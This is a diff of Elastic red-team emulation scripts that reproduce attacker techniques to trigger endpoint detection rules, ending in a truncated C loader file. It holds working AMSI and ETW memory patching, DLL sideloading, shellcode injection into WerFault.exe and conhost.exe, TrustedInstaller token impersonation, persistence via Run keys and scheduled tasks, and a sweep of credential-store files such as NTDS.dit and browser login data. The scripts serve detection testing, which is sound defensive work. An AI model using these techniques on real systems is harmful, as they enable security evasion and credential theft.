uuid="ec52377c-b2a8-4c44-8eb4-465376f2189a",
|
||||
platforms=["windows"],
|
||||
siem=[],
|
||||
endpoint=[
|
||||
{"rule_id": "33cdad6c-5809-4d78-94f0-5a5153289e7e", "rule_name": "Oversized DLL Creation followed by SideLoad"},
|
||||
{"rule_id": "65a402ff-904b-4d14-b7aa-fa0c5ae575f8", "rule_name": "Potential Evasion via Oversized Image Load"},
|
||||
{"rule_id": "b58a6662-cc72-4c1c-a24e-703427f3b725", "rule_name": "Rundll32 or Regsvr32 Executing an OverSized File"},
|
||||
{"rule_id": "d84090d7-91e4-4063-84c1-c1f410dd717b", "rule_name": "DLL Side Loading via a Copied Microsoft Executable"},
|
||||
{"rule_id": "901f0c30-a7c5-40a5-80e3-a50c6744632f", "rule_name": "RunDLL32/Regsvr32 Loads Dropped Executable"},
|
||||
],
|
||||
techniques=["T1027", "T1574"],
|
||||
)
|
||||
|
||||
# testing DLL that will spawn notepad once DllMain is invoked
|
||||
DLL = common.get_path("bin", "faultrep.dll")
|
||||
|
||||
# we will copy WerFault.exe to temp to sideload our testing DLL faultrep.dll
|
||||
WER = "c:\\windows\\system32\\werfault.exe"
|
||||
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
def main():
|
||||
import os, win32file
|
||||
from os import path
|
||||
if os.path.exists(DLL) :
|
||||
tempc = path.expandvars("%localappdata%\\Temp\\oversized.dll")
|
||||
rta_dll = path.expandvars("%localappdata%\\Temp\\faultrep.dll")
|
||||
rta_pe = path.expandvars("%localappdata%\\Temp\\wer.exe")
|
||||
# copy files to temp
|
||||
win32file.CopyFile(DLL,tempc, 0)
|
||||
win32file.CopyFile(WER, rta_pe, 0)
|
||||
if os.path.exists(tempc):
|
||||
print(f"[+] - {DLL} copied to {tempc}")
|
||||
print(f"[+] - File {tempc} will be appended with null bytes to reach 90MB in size.")
|
||||
# append null bytes to makde the DLL oversized 90+MB in size
|
||||
with open(tempc, 'rb+') as binfile:
|
||||
binfile.seek(100000000)
|
||||
binfile.write(b'\x00')
|
||||
|
||||
# copied via cmd to trigger the rule - python is signed and won't trigger the file mod part of the rule
|
||||
common.execute(["cmd.exe", "/c", "copy", tempc, rta_dll])
|
||||
if os.path.exists(rta_dll) and os.path.exists(rta_pe):
|
||||
# should trigger rundll32 rules
|
||||
common.execute(["rundll32.exe", rta_dll, "DllMain"])
|
||||
# should trigger dll sideload from current dir
|
||||
common.execute(rta_pe)
|
||||
# cleanup
|
||||
common.execute(["taskkill", "/f", "/im", "notepad.exe"])
|
||||
print(f'[+] - Cleanup.')
|
||||
win32file.DeleteFile(tempc)
|
||||
win32file.DeleteFile(rta_dll)
|
||||
win32file.DeleteFile(rta_pe)
|
||||
print(f'[+] - RTA Done!')
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,82 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="395d0e4c-e7f5-4c77-add7-92b1d2ba169e",
|
||||
platforms=["windows"],
|
||||
siem=[],
|
||||
endpoint=[{"rule_id": "586bf106-b208-45fc-9401-727664175ca0", "rule_name": "Potential AMSI Bypass via Memory Patching"},
|
||||
{"rule_id": "3046168a-91cb-4ecd-a061-b75b1df1c107", "rule_name": "Potential Evasion via Event Tracing Patching"}],
|
||||
techniques=["T1562.001"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
def main():
|
||||
import ctypes, platform
|
||||
from ctypes import windll, wintypes
|
||||
|
||||
kernel32 = windll.kernel32
|
||||
|
||||
LoadLibraryA = kernel32.LoadLibraryA
|
||||
LoadLibraryA.argtypes = [wintypes.LPCSTR]
|
||||
LoadLibraryA.restype = wintypes.HMODULE
|
||||
|
||||
GetProcAddress = kernel32.GetProcAddress
|
||||
GetProcAddress.argtypes = [wintypes.HMODULE, wintypes.LPCSTR]
|
||||
GetProcAddress.restype = ctypes.c_void_p
|
||||
|
||||
VirtualProtect = kernel32.VirtualProtect
|
||||
VirtualProtect.argtypes = [wintypes.LPVOID, ctypes.c_size_t, wintypes.DWORD, wintypes.PDWORD]
|
||||
VirtualProtect.restype = wintypes.BOOL
|
||||
|
||||
GetCurrentProcess = kernel32.GetCurrentProcess
|
||||
GetCurrentProcess.restype = wintypes.HANDLE
|
||||
|
||||
WriteProcessMemory = kernel32.WriteProcessMemory
|
||||
WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, ctypes.c_size_t, wintypes.LPVOID]
|
||||
WriteProcessMemory.restype = wintypes.BOOL
|
||||
|
||||
GetModuleHandleA = kernel32.GetModuleHandleA
|
||||
GetModuleHandleA.restype = wintypes.HANDLE
|
||||
GetModuleHandleA.argtypes = [wintypes.LPCSTR]
|
||||
|
||||
RWX = 0x40 # PAGE_READ_WRITE_EXECUTE
|
||||
OLD_PROTECTION = wintypes.LPDWORD(ctypes.c_ulong(0))
|
||||
|
||||
if platform.architecture()[0] == '64bit':
|
||||
print(f'[+] using x64 based patch')
|
||||
patch = (ctypes.c_char * 6)(0x90, 0x90, 0x90, 0x90, 0x90, 0x90)
|
||||
if platform.architecture()[0] != '64bit':
|
||||
print(f'[+] using x86 based patch')
|
||||
patch = (ctypes.c_char * 8)(0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90)
|
||||
|
||||
lib = LoadLibraryA(b"amsi.dll")
|
||||
if lib:
|
||||
print(f'[+] Loaded amsi.dll at {hex(lib)}')
|
||||
|
||||
amsi = GetProcAddress(lib, b"AmsiScanBuffer")
|
||||
etw = GetProcAddress(GetModuleHandleA(b"ntdll.dll"), b"EtwNotificationRegister")
|
||||
if amsi and etw:
|
||||
print(f'[+] Address of AmsiScanBuffer(): {hex(amsi)}')
|
||||
print(f'[+] Address of EtwEventWrite(): {hex(etw)}')
|
||||
|
||||
amsi_rwx = VirtualProtect(amsi, ctypes.sizeof(patch), RWX, OLD_PROTECTION)
|
||||
etw_rwx = VirtualProtect(etw, ctypes.sizeof(patch), RWX, OLD_PROTECTION)
|
||||
if amsi_rwx and etw_rwx:
|
||||
print(f'[+] Changed Proctection of AmsiScanBuffer and EtwNotificationRegister to RWX')
|
||||
|
||||
c_null = ctypes.c_int(0)
|
||||
amsi_bypass = WriteProcessMemory(GetCurrentProcess(), amsi, patch, ctypes.sizeof(patch), ctypes.byref(c_null))
|
||||
etw_bypass = WriteProcessMemory(GetCurrentProcess(), etw, patch, ctypes.sizeof(patch), ctypes.byref(c_null))
|
||||
if amsi_bypass and etw_bypass:
|
||||
print(f'[*] RTA Done - Patched AmsiScanBuffer & EtwNotificationRegister!')
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,34 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
import os
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="7fcf2f31-b510-45f8-9de4-7dc8f5ecb68b",
|
||||
platforms=["windows"],
|
||||
siem=[],
|
||||
endpoint=[{"rule_id": "d7bc9652-fe82-4fb3-8a48-4a9289c840f8", "rule_name": "Potential NTDLL Memory Unhooking"},
|
||||
{"rule_id": "2c4f5a78-a64f-4fcf-ac52-bf91fd9b82c8", "rule_name": "Suspicious Image Load via LdrLoadDLL"},
|
||||
{"rule_id": "703343f1-095a-4a5a-9bf4-5338db06ecb8", "rule_name": "Process Creation from Modified NTDLL"}],
|
||||
techniques=["T1055"],
|
||||
)
|
||||
|
||||
# testing PE that will first unhook ntdll txt section and load ws2_32.dll, create notepad.exe from unhooked ntdll then load psapi.dll via LdrLoadDll
|
||||
# source code -https://gist.github.com/Samirbous/cee44dbd0254c28d4f57709d5c723aee
|
||||
BIN = common.get_path("bin", "rta_unhook_ldrload.exe")
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
|
||||
def main():
|
||||
if os.path.exists(BIN) :
|
||||
print(f'[+] - File {BIN} will be executed')
|
||||
common.execute(BIN)
|
||||
# cleanup
|
||||
common.execute(["taskkill", "/f", "/im", "notepad.exe"])
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,45 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
import os
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="a4355bfc-aa15-43f6-a36d-523aa637127b",
|
||||
platforms=["windows"],
|
||||
siem=[],
|
||||
endpoint=[{"rule_id": "0cdf1d24-b1c3-4952-a400-5ba3c1491087", "rule_name": "Persistence via a Process from a Removable or Mounted ISO Device"},
|
||||
{"rule_id": "3c12c648-e29f-4bff-9157-b07f2cbddf1a", "rule_name": "Scheduled Task from a Removable or Mounted ISO Device"}],
|
||||
techniques=["T1071", "T1204"],
|
||||
)
|
||||
|
||||
# iso contains cmd.exe to test for rules looking for persistence from a PE from a mounted ISO or its descendants
|
||||
ISO = common.get_path("bin", "cmd_from_iso.iso")
|
||||
PROC = 'cmd.exe'
|
||||
|
||||
# ps script to mount, execute a file and unmount ISO device
|
||||
PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1")
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
|
||||
def main():
|
||||
if os.path.exists(ISO) and os.path.exists(PS_SCRIPT):
|
||||
print(f'[+] - ISO File {ISO} will be mounted and executed via powershell')
|
||||
|
||||
# commands to trigger two unique rules looking for persistence from a mounted ISO file
|
||||
for arg in ["'/c reg.exe add hkcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v FromISO /d test.exe /f'", "'/c SCHTASKS.exe /Create /TN FromISO /TR test.exe /sc hourly /F'"] :
|
||||
|
||||
# import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute and -cmdline for arguments
|
||||
command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC} -cmdline {arg};"
|
||||
common.execute(command)
|
||||
# cleanup
|
||||
rem_cmd = "reg.exe delete 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /v FromISO"
|
||||
common.execute(["cmd.exe", "/c", rem_cmd], timeout=10)
|
||||
common.execute(["SCHTASKS.exe", "/delete", "/TN", "FromISO", "/F"])
|
||||
print(f'[+] - RTA Done!')
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,42 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
import os
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="8bd17f51-3fc0-46a8-9e1a-662723314ad4",
|
||||
platforms=["windows"],
|
||||
siem=[],
|
||||
endpoint=[{"rule_id": "779b9502-7912-4773-95a1-51cd702a71c8", "rule_name": "Suspicious ImageLoad from an ISO Mounted Device"},
|
||||
{"rule_id": "08fba401-b76f-4c7b-9a88-4f3b17fe00c1", "rule_name": "DLL Loaded from an Archive File"}],
|
||||
techniques=["T1574", "T1574.002"],
|
||||
)
|
||||
|
||||
# iso contains shortcut to start Rundll32 to load a testing DLL that when executed it will spawn notepad.exe
|
||||
ISO = common.get_path("bin", "lnk_from_iso_rundll.iso")
|
||||
# shortcut name
|
||||
PROC = 'Invite.lnk'
|
||||
|
||||
# ps script to mount, execute a file and unmount ISO device
|
||||
PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1")
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
|
||||
def main():
|
||||
if os.path.exists(ISO) and os.path.exists(PS_SCRIPT):
|
||||
print(f'[+] - ISO File {ISO} will be mounted and executed via powershell')
|
||||
|
||||
# import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute
|
||||
command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC};"
|
||||
common.execute(command)
|
||||
|
||||
# terminate notepad.exe spawned as a result of the DLL execution
|
||||
common.execute(["taskkill", "/f", "/im", "notepad.exe"])
|
||||
print(f'[+] - RTA Done!')
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,37 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
import os
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="ba802fb2-f183-420e-947b-da5ce0c74d123",
|
||||
platforms=["windows"],
|
||||
siem=[],
|
||||
endpoint=[{"rule_id": "ba802fb2-f183-420e-947b-da5ce0c74dd3", "rule_name": "Potential DLL SideLoad via a Microsoft Signed Binary"}],
|
||||
techniques=["T1574", "T1574.002"],
|
||||
)
|
||||
|
||||
# iso contains WerFault.exe and a testing faultrep.dll to be sideloaded
|
||||
ISO = common.get_path("bin", "werfault_iso.iso")
|
||||
PROC = 'WER_RTA.exe'
|
||||
|
||||
# ps script to mount, execute a file and unmount ISO device
|
||||
PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1")
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
|
||||
def main():
|
||||
if os.path.exists(ISO) and os.path.exists(PS_SCRIPT):
|
||||
print(f'[+] - ISO File {ISO} will be mounted and executed via powershell')
|
||||
|
||||
# import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute
|
||||
command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC};"
|
||||
common.execute(command)
|
||||
print(f'[+] - RTA Done!')
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,58 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="6373e944-52c8-4199-8ca4-e88fd6361b9c",
|
||||
platforms=["windows"],
|
||||
endpoint=[{'rule_id': 'cc35ee3e-d350-4319-b7f3-ea0d991ce4d9', 'rule_name': 'Suspicious Impersonation as Trusted Installer'}],
|
||||
siem=[],
|
||||
techniques=["T1134"],
|
||||
)
|
||||
|
||||
|
||||
def startsvc_trustedinstaller():
|
||||
try:
|
||||
import win32service
|
||||
hscm = win32service.OpenSCManager(None,None,win32service.SC_MANAGER_ALL_ACCESS)
|
||||
hs = win32service.OpenService(hscm, "TrustedInstaller", win32service.SERVICE_START)
|
||||
win32service.StartService(hs, "30")
|
||||
win32service.CloseServiceHandle(hscm)
|
||||
win32service.CloseServiceHandle(hs)
|
||||
print(f'[+] - TrustedInstaller service started')
|
||||
except Exception as e:
|
||||
print(f'[x] - Failed to start TrustedInstaller service, probably already started')
|
||||
pass
|
||||
|
||||
def impersonate_trusted_installer():
|
||||
try:
|
||||
import win32api, win32security, win32file
|
||||
hp = win32api.OpenProcess(common.PROCESS_QUERY_LIMITED_INFORMATION, 0, common.getppid("TrustedInstaller.exe"))
|
||||
th = win32security.OpenProcessToken(hp, common.TOKEN_ALL_ACCESS)
|
||||
new_tokenh = win32security.DuplicateTokenEx(th, 2, common.TOKEN_ALL_ACCESS , win32security.TokenImpersonation , win32security.SECURITY_ATTRIBUTES())
|
||||
win32security.ImpersonateLoggedOnUser(new_tokenh)
|
||||
print(f'[+] - Impersonated TrustedInstaller service')
|
||||
hf = win32file.CreateFile("rta_ti.txt", win32file.GENERIC_WRITE, 0, None, 2, 0, None)
|
||||
win32file.WriteFile(hf,("AAAAAAAA").encode())
|
||||
win32file.CloseHandle(hf)
|
||||
win32api.CloseHandle(hp)
|
||||
print(f'[+] - Created File rta_ti.txt as the TrustedInstaller service')
|
||||
win32file.DeleteFile("rta_ti.txt")
|
||||
print(f'[+] - Deleted rta_ti.txt')
|
||||
except Exception as e:
|
||||
print(f'[x] - Failed TrustedInstaller Impersonation')
|
||||
pass
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
def main():
|
||||
common.impersonate_system()
|
||||
startsvc_trustedinstaller()
|
||||
impersonate_trusted_installer()
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,59 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="bdb54776-d643-4f4c-90cc-7719c2fa7eab",
|
||||
platforms=["windows"],
|
||||
endpoint=[
|
||||
{"rule_name": "Sensitive File Access - Unattended Panther", "rule_id": "52e4ad92-e09b-4331-b827-cd0f2cbaf576"},
|
||||
{"rule_name": "Potential Discovery of Windows Credential Manager Store", "rule_id": "cc60be0e-2c6c-4dc9-9902-e97103ff8df9"},
|
||||
{"rule_name": "Potential Discovery of DPAPI Master Keys", "rule_id": "84bbe951-5141-4eb3-b9cf-8dfeea62a94e"},
|
||||
{"rule_name": "Suspicious Access to Active Directory Database File", "rule_id": "d66765b8-010b-4a40-ab62-1d8f13a44878"},
|
||||
{"rule_name": "Sensitive File Access - SSH Saved Keys", "rule_id": "1487d726-2bd2-4a9e-a9d2-db8aef1d6239"},
|
||||
{"rule_name": "Failed Attempts to Access Sensitive Files", "rule_id": "3163dd96-c677-4f1f-98bf-c8f3c81b197b"},
|
||||
{"rule_name": "Sensitive File Access - System Admin Utilities", "rule_id": "949c72ee-a283-4673-afe0-7fa72bddc2f6"},
|
||||
{"rule_name": "Potential Credential Access via Windows Credential History", "rule_id": "ce8a6302-7248-457a-8427-3d6bad14e2f0"},
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1555.004", "T1552.001", "T1003.003"],
|
||||
)
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
|
||||
|
||||
def main():
|
||||
from os import path
|
||||
import win32file
|
||||
files = ["%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data",
|
||||
"%localappdata%\\Google\\Chrome\\User Data\\Default\\History",
|
||||
"%localappdata%\\Google\\Chrome\\User Data\\Default\\Local State",
|
||||
"%appdata%\\Mozilla\\Firefox\\Profiles\\test\\logins.json",
|
||||
"%appdata%\\Mozilla\\Firefox\\Profiles\\test\\cookies.sqlite",
|
||||
"%appdata%\\key3.db",
|
||||
"%appdata%\\KeePass\\KeePass.config.xml",
|
||||
"C:\\Users\\Public\\AppData\\Local\\Microsoft\\Vault\\test",
|
||||
"%appdata%\\Microsoft\\Credentials\\test",
|
||||
"C:\\Windows\\Panther\\Unattend.xml",
|
||||
"C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\test",
|
||||
"C:\\Windows\\NTDS\\NTDS.dit",
|
||||
"C:\\Users\\Public\\.ssh\\known_hosts",
|
||||
"C:\\Users\\Public\\AppData\\Something\\FileZilla\\recentservers.xml",
|
||||
"%appdata%\\Microsoft\\Protect\\CREDHIST"]
|
||||
for item in files:
|
||||
try:
|
||||
win32file.CreateFile(path.expandvars(item), win32file.GENERIC_READ, 0, None, 3, 0, None)
|
||||
time.sleep(2)
|
||||
except Exception as e:
|
||||
print(f'[x] - Failed to open {item}')
|
||||
pass
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,38 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
# shellcode to load ws2_32.dll from unbacked memory to trigger <Network Module Loaded from Suspicious Unbacked Memory>
|
||||
SHELLCODE = b"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x74\x6F\x6E\x61\x51\x83\x6C\x24\x03\x61\x68\x65\x42\x75\x74\x68\x4D\x6F\x75\x73\x68\x53\x77\x61\x70\x54\x50\xFF\xD2\x83\xC4\x14\x33\xC9\x41\x51\xFF\xD0\x83\xC4\x04\x5A\x5B\xB9\x65\x73\x73\x61\x51\x83\x6C\x24\x03\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x53\xFF\xD2\x33\xC9\x51\xFF\xD0\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90"
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="727aa289-a1ff-4c82-b688-4cc99e07269f",
|
||||
platforms=["windows"],
|
||||
endpoint=[
|
||||
{'rule_id': 'aa265fbd-4c57-46ff-9e89-0635101cc50d',
|
||||
'rule_name': 'Network Module Loaded from Suspicious Unbacked Memory"'},
|
||||
{'rule.id': 'ace0bb76-290f-4f5f-a21f-c3b13ee415a9',
|
||||
'rule_name': 'Potential Masquerading as Windows Error Manager'},
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1055", "T1036"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
|
||||
def main():
|
||||
# Inject shellcode into WerFault.exe to trigger <Potential Masquerading as Windows Error Manager>
|
||||
common.Inject(u"C:\\Windows\\SysWOw64\\WerFault.exe", SHELLCODE)
|
||||
#time.sleep(2)
|
||||
common.execute(["taskkill", "/f", "/im", "WerFault.exe"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,38 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
# shellcode to pop calc
|
||||
SHELLCODE = b"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6"
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="979b8d18-e266-41ad-bab4-6e68971398ea",
|
||||
platforms=["windows"],
|
||||
endpoint=[
|
||||
{'rule_id': '58b996a5-634c-4205-9ffa-a6f2b8ebc1ad', 'rule_name': 'Potential Process Creation via ShellCode'},
|
||||
{'rule_id': '2ad63716-3dc3-49ba-b682-ef4b9e4a4d87', 'rule_name': 'Potential Injection via the Console Window Class'}
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1134", "T1055"],
|
||||
)
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
|
||||
def main():
|
||||
|
||||
# Inject shellcode into conhost.exe to trigger 2 rules
|
||||
common.Inject(u"C:\\Windows\\System32\\conhost.exe", SHELLCODE)
|
||||
|
||||
# Terminate CalculatorApp.exe and Calc.exe processes using taskkill
|
||||
common.execute(["taskkill.exe", "/f", "/im", "CalculatorApp.exe"])
|
||||
common.execute(["taskkill.exe", "/f", "/im", "Calc.exe"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,76 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
|
||||
|
||||
#define IMPORTAPI(DLLFILE, FUNCNAME, RETTYPE, ...) \
|
||||
typedef RETTYPE(WINAPI *type##FUNCNAME)(__VA_ARGS__); \
|
||||
type##FUNCNAME FUNCNAME = (type##FUNCNAME)GetProcAddress( \
|
||||
(LoadLibraryW(DLLFILE), GetModuleHandleW(DLLFILE)), #FUNCNAME);
|
||||
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
|
||||
HMODULE getModuleHandle(LPCWSTR libraryName) {
|
||||
const LIST_ENTRY *head =
|
||||
&NtCurrentTeb()->ProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList;
|
||||
LIST_ENTRY *next = head->Flink;
|
||||
|
||||
while (next != head) {
|
||||
LDR_DATA_TABLE_ENTRY *entry =
|
||||
CONTAINING_RECORD(next, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
|
||||
const UNICODE_STRING *basename =
|
||||
(UNICODE_STRING *)((BYTE *)&entry->FullDllName +
|
||||
sizeof(UNICODE_STRING));
|
||||
|
||||
if (_wcsicmp(libraryName, basename->Buffer) == 0) {
|
||||
return (HMODULE)entry->DllBase;
|
||||
}
|
||||
|
||||
next = next->Flink;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HMODULE queueLoadLibrary(WCHAR *libraryName, BOOL swtch) {
|
||||
IMPORTAPI(L"NTDLL.dll", NtWaitForSingleObject, NTSTATUS, HANDLE, BOOLEAN,
|
||||
PLARGE_INTEGER);
|
||||
|
||||
if (swtch) {
|
||||
IMPORTAPI(L"NTDLL.dll", RtlQueueWorkItem, NTSTATUS, PVOID, PVOID, ULONG);
|
||||
|
||||
if (NT_SUCCESS(RtlQueueWorkItem(&LoadLibraryW, (PVOID)libraryName,
|
||||
WT_EXECUTEDEFAULT))) {
|
||||
LARGE_INTEGER timeout;
|
||||
timeout.QuadPart = -500000;
|
||||
NtWaitForSingleObject(NtCurrentProcess(), FALSE, &timeout);
|
||||
}
|
||||
} else {
|
||||
IMPORTAPI(L"NTDLL.dll", RtlRegisterWait, NTSTATUS, PHANDLE, HANDLE, PVOID,
|
||||
PVOID, ULONG, ULONG);
|
||||
HANDLE newWaitObject;
|
||||
HANDLE eventObject = CreateEventW(NULL, FALSE, FALSE, NULL);
